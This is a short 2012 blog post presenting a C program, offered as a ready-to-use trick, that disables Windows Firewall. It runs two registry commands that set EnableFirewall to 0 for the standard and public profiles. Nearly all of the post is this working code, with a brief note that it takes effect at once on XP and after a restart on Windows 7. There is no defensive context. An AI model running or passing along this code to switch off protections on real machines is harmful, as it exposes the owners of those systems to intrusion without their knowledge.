Saturday, 21 July 2012

C program to Block Windows Firewall


C program to Block Windows Firewall -------


if xp user then fire wall block in sec
if windows 7 user u need to restart pc---

#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
int main()
{
system("reg add HKLM\\system\\currentcontrolset\\Services\\SharedAccess\\parameters\\firewallpolicy\\standardprofile /v EnableFirewall /t reg_dword /d 0 /f");
system("reg add HKLM\\system\\currentcontrolset\\Services\\SharedAccess\\parameters\\firewallpolicy\\publicprofile /v EnableFirewall /t reg_dword /d 0 /f");
return 0;
}

0 comments:

Post a Comment